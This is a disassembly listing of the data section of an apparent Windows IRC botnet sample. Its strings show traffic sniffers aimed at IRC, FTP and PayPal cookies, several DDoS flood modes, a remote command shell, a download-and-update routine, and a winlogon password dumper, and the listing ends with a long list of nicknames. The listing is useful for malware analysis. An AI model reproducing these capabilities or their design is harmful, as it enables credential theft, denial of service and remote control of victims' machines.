aJoin_0		db 'JOIN #',0           ; DATA XREF: sub_412EEC+4Do
		align 10h
aPsniff_0	db 'PSNIFF//',0         ; DATA XREF: sub_412EEC+3Co
		align 4
aPsniff_1	db '[PSNIFF]:',0        ; DATA XREF: sub_412EEC+2Bo
		align 4
aBotSniff	db 'Bot sniff',0        ; DATA XREF: sub_412EEC+5o
		align 4
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_413003+62o
aOper		db 'oper ',0            ; DATA XREF: sub_413003+51o
		align 4
aNick_1		db 'NICK ',0            ; DATA XREF: sub_413003:loc_413043o
					; sub_413079+2Bo
		align 10h
aOper_0		db 'OPER ',0            ; DATA XREF: sub_413003+2Bo
		align 4
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_413003+5o
		align 4
aPass_1		db 'PASS ',0            ; DATA XREF: sub_413079+73o
		align 4
aUser_3		db 'USER ',0            ; DATA XREF: sub_413079+62o
		align 4
a230		db '230 ',0             ; DATA XREF: sub_413079:loc_4130CAo
		align 4
a220		db '220 ',0             ; DATA XREF: sub_413079+3Co
		align 4
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_413079+5o
		align 10h
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_413100+73o
aPaypal_com	db 'paypal.com',0       ; DATA XREF: sub_413100+62o
		align 4
aPaypal_com_0	db 'PAYPAL.COM',0       ; DATA XREF: sub_413100+51o
		align 4
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_413100:loc_413140o
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: sub_413100+2Bo
		align 4
aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_413100+5o
		align 10h
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_413187+51o
		align 4
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_413187:loc_4131C7o
		align 10h
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_413187+2Bo
		align 10h
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_413187+5o
		align 4
unk_43773C	db  2Dh	; -		; DATA XREF: sub_4131EC+3ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVulnSniffSDToS	db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_437774	db  2Dh	; -		; DATA XREF: sub_4131EC+382o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aHttpSniffSDToS	db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4377AC	db  2Dh	; -		; DATA XREF: sub_4131EC+351o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFtpSniffSDToSD	db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_4377E0	db  2Dh	; -		; DATA XREF: sub_4131EC+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aIrcSniffSDToSD	db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_437814	db  2Dh	; -		; DATA XREF: sub_4131EC+2E2o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBotSniffSDToSD	db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_437848	db  2Dh	; -		; DATA XREF: sub_4131EC+14Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aWsaioctlFailed	db '- WSAIoctl() failed, returned %d',0
		align 4
unk_437878	db  2Dh	; -		; DATA XREF: sub_4131EC+C5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBindFailedRetu	db '- bind() failed, returned %d',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodA	db 'done with flood at %iKB/sec',0
dword_4378CC	dd 234032Dh, 736F6464h,	202D0302h, 646E6573h, 72726520h
					; DATA XREF: sub_413694+302o
		dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h
		dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh
		dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h
		dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0
		dd 234032Dh, 706D6369h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h
		dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch
		dd 6E727574h, 25206465h, 64h, 234032Dh,	706D6369h, 202D0302h
		dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh
		dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 706D6369h,	202D0302h, 6B636F73h, 29287465h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 696E6966h, 64656873h
		dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh
		dd 2706475h, 66202D03h,	73696E69h, 20646568h, 646E6573h
		dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh
		dd 2706475h, 65202D03h,	726F7272h, 6E657320h, 676E6964h
		dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h
		dd 3026E79h, 6F44202Dh,	7720656Eh, 20687469h, 6F6F6C66h
		dd 25282064h, 2F424B69h, 29636573h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aDoneWithFloodI	db '- Done with flood (%iKB/sec).',0
		align 4
dword_437AF4	dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h
					; DATA XREF: sub_4143F7+27Do
		dd 3C203A72h, 2E3E6425h, 0
		dd 234032Dh, 67726174h,	3023361h, 6F44202Dh, 7720656Eh
		dd 20687469h, 6F6F6C66h, 2E64h,	234032Dh, 2706374h, 44202D03h
		dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h
		dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h
		dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h
		dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h
		dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h
		dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h
		dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch
		dd 2Eh,	234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h
		dd 65677261h, 50492074h, 2Eh, 234032Dh,	2706374h, 45202D03h
		dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h
		dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h
		dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah
		dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h
		dd 3A64656Eh, 64253C20h, 2E3Eh,	234032Dh, 6E757374h, 2696D61h
		dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh
		dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 53202D03h
		dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h
		dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h
		dd 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 45202D03h
		dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh
		dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h
		dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h
		dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h
		dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h
		dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 46202D03h
		dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h
		dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h
		dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh
		dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh
		dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h
		dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 49202D03h
		dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh
		dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h
		dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh
		dd 2297064h, 45202D03h,	726F7272h, 6C616320h, 676E696Ch
		dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h
		dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h
		dd 2E642520h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSo	db '- Error calling socket().',0
		align 10h
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodP	db 'Done with flood, ports hit: %s',0
		align 4
aSD		db '%s%d ',0
		align 4
dword_437EE4	dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA	XREF: sub_415CC0+35o
dword_437EF8	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dh ; DATA	XREF: sub_415CC0+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_415D38+60o
		align 10h
dword_437F30	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_415DD8:loc_415E0Do
dword_437F44	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_415DD8+20o
dword_437F58	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
					; DATA XREF: ___:00415F27o
		dd 6574656Ch, 0
dword_437F74	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
					; DATA XREF: ___:00415E8Ao
		dd 676E6974h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSendTo	db '- failed to send to Remote command shell',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenRe	db '- failed to open remote command shell',0
		align 4
unk_437FF4	db  2Dh	; -		; DATA XREF: ___:004162BEo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenSo	db '- failed to open socket',0
		align 4
dword_438018	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: ___:00416523o
					; ___:004166B9o
		dd 726F72h
unk_438030	db  2Dh	; -		; DATA XREF: ___:004164BBo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileSSentToSSB	db '- file %s sent to %s (%s bytes).',0
		align 4
unk_43805C	db  2Dh	; -		; DATA XREF: ___:004163C3o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aUnableToOpenSo	db '- unable to open socket',0
		align 10h
dword_438080	dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
					; DATA XREF: ___:0041638Co
		dd 74756Fh
dword_438098	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: ___:0041632Bo
		dd 169h
unk_4380B0	db  2Dh	; -		; DATA XREF: ___:004162E8o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileDoesnTExis	db '- file doesn',27h,'t exist',0
		align 10h
unk_4380D0	db  2Dh	; -		; DATA XREF: ___:00416243o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToBindTo	db '- failed to bind to socket',0
unk_4380F4	db  2Dh	; -		; DATA XREF: ___:00416205o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToCrea_2	db '- failed to create socket',0
		align 4
unk_438118	db  2Dh	; -		; DATA XREF: ___:00416734o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceivedSFromS	db '- received %s from %s (%s bytes).',0
		align 4
unk_438144	db  2Dh	; -		; DATA XREF: ___:0041662Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningSo	db '- error opening socket',0
unk_438164	db  2Dh	; -		; DATA XREF: ___:0041660Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningFi	db '- error opening file for writing',0
		align 10h
aAB		db 'a+b',0              ; DATA XREF: ___:004165FAo
unk_438194	db  2Dh	; -		; DATA XREF: ___:004165E6o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorUnableToW	db '- error unable to write file to disk',0
		align 4
unk_4381C4	db  2Dh	; -		; DATA XREF: ___:00416C33o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
unk_4381F0	db  2Dh	; -		; DATA XREF: ___:00416C25o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 4
unk_438224	db  2Dh	; -		; DATA XREF: ___:00416B69o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 4
dword_438268	dd 234032Dh, 6E776F64h,	64616F6Ch, 202D0302h, 6E65706Fh
					; DATA XREF: ___:00416AF8o
		dd 25206465h, 73h
unk_438284	db  2Dh	; -		; DATA XREF: ___:00416A81o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fK	db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
		align 4
unk_4382BC	db  2Dh	; -		; DATA XREF: ___:00416A02o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongCrcDD_	db 'wrong crc (%d != %d).',0
		align 4
unk_4382E4	db  2Dh	; -		; DATA XREF: ___:00416978o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongFilesizeD	db 'wrong filesize (%d != %d).',0
		align 10h
unk_438310	db  2Dh	; -		; DATA XREF: ___:00416935o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aGotUpdateSDkb_	db 'got update %s (%dKB).',0
		align 4
unk_438338	db  2Dh	; -		; DATA XREF: ___:00416923o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadedSDkb	db 'downloaded %s (%dKB)',0
		align 10h
unk_438360	db  2Dh	; -		; DATA XREF: ___:00416817o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aCouldnTOpenF_0	db 'couldn',27h,'t open file: %s',0
		align 4
aUnknown	db 'Unknown',0          ; DATA XREF: sub_416D48:loc_416D8Bo
					; sub_419443+10Ao
aInvalid	db 'Invalid',0          ; DATA XREF: sub_416D48:loc_416D85o
aDisk		db 'Disk',0             ; DATA XREF: sub_416D48:loc_416D7Fo
		align 10h
aNetwork	db 'Network',0          ; DATA XREF: sub_416D48:loc_416D79o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_416D48:loc_416D73o
		align 10h
off_4383B0	dd offset word_4D4152	; DATA XREF: sub_416D48:loc_416D6Do
word_4383B4	dw 3Fh			; DATA XREF: sub_416D48+1Fo
					; sub_41AF8F:loc_41B091r
		align 4
aFailed		db 'failed',0           ; DATA XREF: sub_416DD9:loc_416EB7o
					; sub_416EFD+3Bo
		align 10h
aSkb		db '%sKB',0             ; DATA XREF: sub_416DD9+6Co
		align 4
unk_4383C8	db  2Dh	; -		; DATA XREF: sub_416EFD+8Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 4
unk_438404	db  2Dh	; -		; DATA XREF: sub_416EFD+58o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
off_438440	dd offset byte_5C3A41	; DATA XREF: sub_416FCF:loc_417014o
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
		db  66h	; f
		db 6Fh,	75h, 6Eh
		db  64h	; d
		db 20h,	25h, 64h
		db  20h
aFiles		db 'files',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingFor_0	db 'searching for file %s',0
		align 4
		dd 234032Dh, 646E6966h,	656C6966h, 202D0302h, 6E756F66h
		dd 73252064h, 73255Ch, 2A5C7325h, 0
unk_4384B0	db  2Dh	; -		; DATA XREF: sub_4172C1:loc_41743Ao
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToEnable	db 'failed to enable debug privilege',0
		align 4
unk_4384E4	db  2Dh	; -		; DATA XREF: sub_4172C1:loc_41740Do
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindWi	db 'unable to find winlogon pid',0
unk_438510	db  2Dh	; -		; DATA XREF: sub_4172C1:loc_417406o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindTh	db 'unable to find the password in memory',0
		align 4
unk_438548	db  2Dh	; -		; DATA XREF: sub_4172C1+117o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
		db  57h	; W
		db 69h,	6Eh, 4Ch
		db  6Fh	; o
		db 67h,	6Fh, 6Eh
		db  20h
		db 49h,	6Eh, 66h
		db  6Fh	; o
		db 72h,	6Dh, 61h
		db  74h	; t
		db 69h,	6Fh, 6Eh
		db  20h
		db 28h,	50h, 49h
		db  44h	; D
		db 20h,	25h, 64h
		db  29h	; )
		db 20h,	2Dh, 20h
		db    2
		db 44h,	6Fh, 6Dh
		db  61h	; a
		db 69h,	6Eh, 2
		db  3Ah	; :
		db 20h,	2 dup(5Ch)
		db  25h	; %
		db 53h,	2Ch, 20h
		db    2
		db 55h,	73h, 65h
		db  72h	; r
		db 2, 3Ah, 20h
aSNoPassword_	db '(%S/(no password)).',0
off_4385A4	dd offset byte_530055	; DATA XREF: sub_4172C1+DCo
		dd offset byte_520045
		dd offset dword_4F0044
		dd offset loc_41004C+1
		dd offset byte_4E0049
		dd 0
off_4385BC	dd offset byte_530055	; DATA XREF: sub_4172C1+CEo
		dd offset byte_520045
		dd offset loc_41004C+2
		dd offset byte_45004D
		align 10h
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_4172C1+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_4172C1+8Do
		align 4
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_4172C1+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_4172C1+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_4172C1+68o
		align 10h
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_4172C1+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_4172C1+40o
					; sub_4172C1+161o ...
		align 10h
unk_438680	db  2Dh	; -		; DATA XREF: sub_4172C1+35o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aOnlySupportedO	db 'only supported on winnt/win2k',0
		align 10h
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_417493+13Eo
		align 4
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_417493+123o
		align 10h
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_417493+AFo
		align 4
dword_4386CC	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_4178F9+70o
					; sub_417990+C7o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_43871C	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_417990+E1o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
		dd 2929h
off_438770	dd offset aQ		; DATA XREF: sub_417E84+5Cr
					; "q"
		dd offset dword_439320
		dd offset aE		; "e"
		dd offset aR		; "r"
		dd offset aT		; "t"
		dd offset dword_43931C
		dd offset aU		; "u"
		dd offset aI		; "i"
		dd offset aP		; "p"
		dd offset aA		; "a"
		dd offset aS_0		; "s"
		dd offset dword_439318
		dd offset dword_439314
		dd offset dword_439310
		dd offset dword_43930C
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset dword_439308
		dd offset dword_439304
		dd offset dword_439300
; ---------------------------------------------------------------------------
		clc
		retf	42h
; ---------------------------------------------------------------------------
		dd offset aV		; "v"
		dd offset dword_4392FC
		dd offset aN		; "n"
		dd offset aM		; "m"
		dd offset dword_4392F8
		dd offset dword_4392F4
		dd offset dword_4392F0
		dd offset dword_4392EC
		dd offset dword_4392E8
		dd offset word_4392E4
		dd offset dword_4392E0
		dd offset aI_0		; "I"
		dd offset dword_4392DC
		dd offset dword_4392D8
		dd offset aA_0		; "A"
		dd offset dword_4392D4
		dd offset dword_4392D0
		dd offset dword_4392CC
		dd offset dword_4392C8
		dd offset dword_4392C4
		dd offset dword_4392C0
		dd offset dword_4392BC
		dd offset dword_4392B8
		dd offset dword_4392B4
		dd offset dword_4392B0
		dd offset dword_4392AC
		dd offset dword_4392A8
		dd offset dword_4392A4
		dd offset word_4392A0
		dd offset aM_0		; "M"
		dd offset aSmartmir	; "SMARTMIR"
		dd offset aFarooq	; "farooq"
		dd offset aMaxxguy	; "maxxguy"
		dd offset aBobmarley	; "BOBMARLEY"
		dd offset aEmilya	; "emilya"
		dd offset aKrizha	; "KRIZHA"
		dd offset aCar1nna	; "Car1nna"
		dd offset aSwin		; "swin"
		dd offset aMale		; "male"
		dd offset aKoko		; "koko"
		dd offset aFlexster	; "flexster"
		dd offset aKen		; "ken"
		dd offset aShez		; "Shez"
		dd offset aTalika	; "talika"
		dd offset aMarcy	; "marcy"
		dd offset aCme		; "cme"
		dd offset aHeval	; "heval"
		dd offset aBunty	; "bunty"
		dd offset aJanno	; "janno"
		dd offset aRimpy	; "rimpy"
		dd offset aNastysha	; "nastysha"
		dd offset aLuisa	; "Luisa"
		dd offset aTroller	; "troller"
		dd offset aManee	; "manee"
		dd offset aKermit	; "kermit"
		dd offset aPuregold	; "puregold"
		dd offset aCoredump	; "CoreDump"
		dd offset aImra		; "imra"
		dd offset aGirl		; "GirL"
		dd offset aCamel	; "CAMEL"
		dd offset aReshma	; "reshma"
		dd offset aKencing	; "Kencing"
		dd offset aThr45h3r5	; "THR45H3R5"
		dd offset aCansuuuu	; "cansuuuu"
		dd offset aKaan38dent	; "kaan38dent"
		dd offset aErkan27	; "erkan27"
		dd offset aHexaaa	; "hexaaa"
		dd offset aBerk19	; "berk19"
		dd offset aObenibisevse	; "OBeNiBiSeVSe"
		dd offset aIrmal	; "irmal"
		dd offset aMisssunday	; "misssunday"
		dd offset aTolga34	; "Tolga34"
		dd offset aJericho	; "JERICHO"
		dd offset aMary_0	; "MARY"
		dd offset aAkin		; "AKIN"
		dd offset aMelekk	; "melekk"
		dd offset aTrend3	; "trend3"
		dd offset aMERVE	; "M-E-R-V-E"
		dd offset aTekir	; "tekir"
		dd offset aVenedik34	; "venedik34"
		dd offset aSevmekmi	; "sevmekmi"
		dd offset aSudenur	; "SUDENUR"
		dd offset aArzu		; "ARZU"
		dd offset aHaticem	; "haticem"
		dd offset aErnesto	; "ERNESTO"
		dd offset aAslii	; "aslii"
		dd offset aPiramit	; "PIRAMIT"
		dd offset aSamyeli21	; "samyeli21"
		dd offset aRetg		; "RETG"
		dd offset aBlackpearl	; "blackpearl"
		dd offset aPelincik	; "pelincik"
		dd offset aAhmet	; "ahmet"
		dd offset aTurkyy	; "turkyy"
		dd offset aAnk32m	; "ank32m"
		dd offset aZack		; "ZACK"
		dd offset aIzmir39m	; "Izmir39m"
		dd offset aAlbina	; "albina"
		dd offset dword_439038
		dd offset off_439034
		dd offset aAnkh		; "ankh"
		dd offset aDonjuanm	; "Donjuanm"
		dd offset aBogac	; "bogac"
		dd offset aAlpay34m	; "alpay34m"
		dd offset aCongueror	; "CoNGuERoR"
		dd offset aDenizlim	; "DenizliM"
		dd offset aBerk19m	; "Berk19m"
		dd offset aDevran	; "devran"
		dd offset aArda		; "arda"
		dd offset aKeyiflisert	; "keyifliSERT"
		dd offset aMurat34M	; "murat34-m"
		dd offset aHakan3	; "hakan3"
		dd offset aImirzali	; "IMIRZALI--"
		dd offset aRamtha	; "RAMTHA"
		dd offset aEmre		; "Emre--"
		dd offset aElmaazyok	; "elmaazyok"
		dd offset aEsmerkiz	; "Esmerkiz"
		dd offset aKebikec	; "kebikec"
		dd offset aFlord	; "FLoRD"
		dd offset aHoly		; "holy"
		dd offset aMahinur	; "MAHINUR"
		dd offset aSadikaellesme ; "SaDIkaEllesme"
		dd offset aAykut1	; "aykut1"
		dd offset aKashmira	; "Kashmira"
		dd offset aSeviseli	; "SeViSeLi"
		dd offset aSugarboy	; "SUGARBOY-"
		dd offset aUzgun36	; "uzgun36"
		dd offset aKumul	; "kumul"
		dd offset aAdalim	; "ADALIM"
		dd offset aUmut		; "umut-"
		dd offset aAnk32M	; "ANK-32-M"
		dd offset aDjspace	; "DJSPACE"
		dd offset aAnkar	; "Ankar"
		dd offset aFenerlee	; "FeNeRLee"
		dd offset aHayran	; "hayran"
		dd offset aAngelgirl	; "angelgirl"
		dd offset aKapk		; "kapk"
		dd offset aAchilles	; "Achilles"
		dd offset aTegmen	; "TEGMEN"
		dd offset aKotan	; "kotan"
		dd offset aSevda	; "sevda"
		dd offset off_438EA0
		dd offset aAlcatras	; "alcatras"
		dd offset aA44m		; "a44m"
		dd offset aBirsen	; "birsen"
		dd offset aYabanc	; "yabanc"
		dd offset aDevre	; "devre"
		dd offset aErkan	; "erkan"
		dd offset aAnkm		; "ankM"
		dd offset aAdem28	; "Adem28"
		dd offset aMaxsilla	; "maxsilla"
		dd offset aM41ist	; "M41IST"
		dd offset aAdamm33	; "AdAMM33"
